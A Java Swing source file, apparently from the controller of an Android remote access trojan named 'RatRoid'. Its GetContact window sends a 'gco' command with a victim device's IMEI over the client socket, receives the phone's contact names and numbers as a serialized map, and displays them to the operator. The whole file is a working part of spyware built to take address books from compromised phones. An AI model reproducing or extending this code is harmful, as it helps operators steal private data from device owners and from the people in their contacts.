/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.util.HashMap;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class GetContact extends javax.swing.JFrame {

    /**
     * Creates new form GetContact
     */
    public GetContact(String x) {
        imei=x;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
        setLocationRelativeTo(null);
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jScrollPane3 = new javax.swing.JScrollPane();
        contact = new javax.swing.JTextArea();
        GetContact = new javax.swing.JButton();

        setTitle("Contact List");
        setPreferredSize(new java.awt.Dimension(500, 600));

        contact.setColumns(20);
        contact.setRows(5);
        jScrollPane3.setViewportView(contact);

        getContentPane().add(jScrollPane3, java.awt.BorderLayout.CENTER);

        GetContact.setText("Get Contacts");
        GetContact.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                GetContactActionPerformed(evt);
            }
        });
        getContentPane().add(GetContact, java.awt.BorderLayout.PAGE_END);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void GetContactActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_GetContactActionPerformed

        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                data(Main.threads);
                GetContact.setText("Refresh");
                return null;
            }
        };
        worker.execute();   
        
        
           
    }//GEN-LAST:event_GetContactActionPerformed

            public void data(ThreadHandle thlist) {
    
                       
            for (final Clients client1 : thlist.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
                    if(client1.available){
                        client1.available=false;
                        client1.doing=" This Client is getting the Contacts List,please try again in a second ";
            try {
                out = new PrintWriter(client1.getsocket().getOutputStream());

                out.println("gco"+imei);
                 
                out.flush();

                is1 = client1.getsocket().getInputStream();
                ois1 = new ObjectInputStream(is1);
                contactinfo = (HashMap<String, String>) ois1.readObject();
                client1.available=true;
             }
            catch (IOException e) {
                client1.available=true;
                 this.dispose();
                
            }
             catch (ClassNotFoundException ex) {
             client1.available=true;
             }
                int size=contactinfo.size();
                int i;
                String text = " +-+-+-+-+-+-+-+  +-+-+-+-+\n |C|o|n|t|a|c|t|  |L|i|s|t|\n +-+-+-+-+-+-+-+  +-+-+-+-+\n \n";
                if(size==0){text +=" No Contact Available !";}
                else {
                   int n=0;
                for(i=1;i<=size;i++){
                    
                  if(i%2 == 1){n++; text +="\n Contact :  "+n+"\n \n Contact Name : " +contactinfo.get(String.valueOf(i));}
                  if(i%2 == 0){ text +="\n Phone Number :  " +contactinfo.get(String.valueOf(i))+"\n================================";}
                    
                }
                
                }
                contact.setText(text);
                    }
                    else {
               Thread msgThread = new Thread(new Runnable() {
                           @Override
				public void run() {
                               JOptionPane.showMessageDialog(null,client1.doing , "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                }});
                       msgThread.start();
           }
                }
            }
                 
}
            
     private HashMap<String, String> contactinfo = new HashMap<>();
     private ObjectInputStream ois1;
     private InputStream is1;
     private PrintWriter out;
     private String imei;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton GetContact;
    private javax.swing.JTextArea contact;
    private javax.swing.JScrollPane jScrollPane3;
    // End of variables declaration//GEN-END:variables
}
